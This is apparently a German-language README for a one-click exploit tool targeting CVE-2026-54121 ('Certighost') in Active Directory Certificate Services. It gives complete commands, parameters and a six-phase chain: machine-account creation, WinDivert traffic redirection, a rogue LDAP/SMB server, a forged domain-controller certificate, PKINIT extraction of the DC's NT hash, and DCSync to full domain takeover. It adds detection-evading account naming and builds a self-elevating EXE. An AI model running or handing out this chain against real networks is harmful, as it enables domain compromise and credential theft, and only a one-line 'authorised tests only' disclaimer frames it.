
# Ein-Klick-Exploit für CVE-2026-54121 (Certighost) zur gezielten AD-CS-Zertifikat-Identitätsspoofing Automatisiert die Erstellung von Maschinenkonten, Verkehrsumleitung, betrügerische Zertifizierungsstelle, PKINIT und NT-Hash-Extraktion zur Domänenkompromittierung.
CVE-2026-54121 (Certighost) One-Click-Exploit-Tool – nur für lokale Übungsziele/autorisierte Tests.
Windows-native Version, basierend auf dem Upstream-PoC (@h0j3n Analyse / @aniqfakhrul Implementierung) umgebaut: Integrierter, selbst entwickelter WinDivert-Redirector (pydivert), ein einziger Befehl erledigt „Konto erstellen → Redirect → rogue Listener → CA-Chase → DC-Identitätszertifikat → PKINIT → DC-Maschinenkonto-NT-Hash", ohne den Server-Dienst zu stoppen, ohne Host-Konfiguration zu ändern, Beendigung stellt alles wieder her.
| Patch | Beschreibung |
|---|
--redirect | Integrierter WinDivert-Redirector (445 → --lsa-port, schmaler Filter: hijackt nur Traffic der Listener-IP), startet/stoppt mit dem Prozess, stellt 445 beim Beenden automatisch wieder her. Ersetzt das offizielle PortBender (dessen offizielles Artefakt eine CS-spezifische 32-Bit-Reflective-DLL ist und nicht eigenständig lauffähig) |
--lsa-port | Rogue-LSA/SMB-Listenport parametrisiert (Standard 445; bei --redirect Standard 8445) |
os.geteuid-Guard | Upstream-Root-Check crasht unter Windows → hasattr-Guard + Windows-Port-Hinweis |
| Readiness-Check parametrisiert | Upstream hartkodiert port_ok(127.0.0.1, 445) → args.lsa_port |
| PEP-723-Header | uv run certighost.py ... direkt ausführbar, Abhängigkeiten werden automatisch aufgelöst (inkl. git-master impacket), null Umgebungsverschmutzung |
--new-computer-name | Benutzerdefinierter Name für das Konto (umgeht GHOST*-Erkennungsmerkmale) |
--new-computer-pass | Benutzerdefiniertes Passwort für das Konto (muss Domänen-Passwortrichtlinie erfüllen) |
random.randbytes-Polyfill | impacket git-master verwendet 3.9+-API beim Import von smbserver; für 3.8 nötig, os.urandom-Implementierung |
| Beenden nach Abschluss | Nach GGWP flush + os._exit() (behebt das minutenlange Hängen durch impacket-Nicht-Daemon-Threads) |
| Exit-Code-Semantik | 0 Erfolg / 1 Fehler |
<dc>.hash.txt-Ablage | DC-Maschinenkonto-NT-Hash wird in Datei geschrieben (nur eine Zeile name:lm:nt) |
① Vorprüfung (nur lesend, bestätigt CA und Exploit-Voraussetzungen):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Gibt Enterprise-CA-Liste, Machine-Template-Ausstellung und Registrierungsrechte aus (Domain Computers muss Enroll haben).
Auf der CA-Maschine zusätzlich Chase-Flag prüfen: certutil -getreg policy\EditFlags (sollte
EDITF_ENABLECHASECLIENTDC enthalten; bei Server 2016 Standardinstallation getestet aktiv).
② One-Click-Exploit (Windows, Administrator):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <vom Host erreichbare IP> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
Drei Artefakte (automatisch im Ausführungsverzeichnis abgelegt):
| Datei | Inhalt |
|---|---|
<dc>.pfx | DC-Identitätszertifikat (PKINIT-Material) |
<dc>.ccache | Kerberos-Ticket-Cache |
<dc>.hash.txt | DC-Maschinenkonto-NT-Hash (nur eine Zeile name:lm:nt) |
③ Bereinigung (Konto löschen):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| Parameter | Beschreibung |
|---|---|
-d / -u / -p / -H | Domäne / Niedrigprivilegierter Benutzer / Passwort / NTLM-Hash |
--dc-ip | DC-Adresse (erforderlich) |
--listener IP | Rogue-Listener-IP (bei mehreren NICs unbedingt explizit angeben) |
--redirect | Windows-Kern: integrierter WinDivert-445-Redirect (benötigt Administrator + pydivert) |
--lsa-port N | Rogue-LSA-Port (Standard 8445 bei --redirect) |
--new-computer-name | Benutzerdefinierter Name für das Konto (fügt automatisch $ hinzu) |
--new-computer-pass | Benutzerdefiniertes Passwort für das Konto (schließt sich mit existing-Pfad aus) |
--computer-name/--computer-pass/--computer-hash | Ohne MAQ: Wiederverwendung eines kontrollierten Maschinenkontos |
--target-san DC01$ | Ziel der Identitätsübernahme angeben (Standard: DC automatisch erkennen) |
--template | Zertifikatsvorlage (Standard Machine) |
--ca / --ca-ip | CA manuell angeben |
--debug | Vollständige Protokoll-Phasen-Trace |
Phase1 Niedrigprivilegierter Benutzer erstellt Maschinenkonto (MAQ-Pfad automatisch / --new-computer-* benutzerdefiniert / --computer-* vorhandenes wiederverwenden)
Phase2 [Windows] Integrierter WinDivert-Redirector: listener_ip:445 -> :lsa_port
Schmaler Filter (nur diese IP), umgeschriebene Pakete verlassen den Filter = keine Re-Injection-Schleife; Handle wird mit Prozess geschlossen
Phase3 Rogue-Server: LDAP:389 + LSA/SMB:lsa_port (beantwortet cdc/rmd-Chase, füttert DC-Identitätsdaten)
Phase4 Zertifikatsanfrage als Maschinenidentität (Machine-Vorlage), CA ruft rogue zurück → stellt DC-Identitätszertifikat aus
Phase5 PKINIT → KDC gibt DC-Maschinenkonto-NT-Hash im PAC zurück → extrahieren und in .hash.txt schreiben
Phase6 (Danach) secretsdump DCSync → krbtgt → vollständige Domänenübernahme; cleanup_ghost bereinigt das Konto
Linux-Verwendung unverändert (root bindet direkt 445/389, ohne --redirect).
Die Hash-Extraktion der Angriffskette läuft über PKINIT → PAC → NT-Hash, nicht über DCSync:
Nach Erhalt des Hashes ist secretsdump für DCSync ein zweiter Schritt, nicht die Quelle des Hashes.
# PowerShell 7
./build_exe.ps1 # Standard-Stufe (Win10 / Server 2016+)
./build_exe.ps1 3.10 # Kompatibilitäts-Stufe (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # Legacy-Stufe (Win7 SP1 / Server 2008 R2 x64)
Artefakt dist\certighost_x64.exe: 19-27MB (je nach Stufe), --uac-admin Selbst-Elevation, null Abhängigkeiten,
das Skript gibt automatisch die SHA256-Prüfsumme aus.
Benötigt offizielles CPython 3.8.10 von python.org installiert unter folgendem Pfad (letzter offizieller Binär-Build, der den Win7-Kernel unterstützt, ohne neue UCRT-API):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
Installationsbefehl (still, ohne PATH, ohne Launcher):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
Zusätzlich PyInstaller==5.13.2 fixieren (6.x-Bootloader unterstützt Win7-Kernel nicht) und cryptography==38.0.4 (Rust-Räder ab 38.x erfordern Win10+), beides bereits im Skript festgeschrieben.
| Stufe | System echte Hardware | Vollständige Kette | Anmerkungen |
|---|---|---|---|
| Standard | Win11 | ✅ | |
| Kompatibilität 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | Inkl. WinDivert auf echter Hardware |
| Legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | Offizielles 3.8.10 + PyInstaller 5.13.2 |
Hinweis: PyInstaller+impacket ist ein Schwerpunktgebiet für AV-Erkennung, vor dem Einsatz selbst bewerten.
ciphertext integrity failure: einmal beobachtet, Wiederholung behebt escertighost.py Haupt-Exploit (Upstream + Windows-Nativisierungspatches + PEP 723)
certighost_redirect.py Selbst entwickelter WinDivert-445-Redirector (pydivert; --selftest/--e2e Selbsttest)
check_ca.py Vorprüfung: CA/Vorlage/Registrierungsrechte/Chase-Flag (nur lesend)
cleanup_ghost.py Abschluss: Konto löschen
build_exe.ps1 PyInstaller-Einzeldatei-Paketierung (pwsh7, Drei-Stufen-Matrix, automatische SHA256)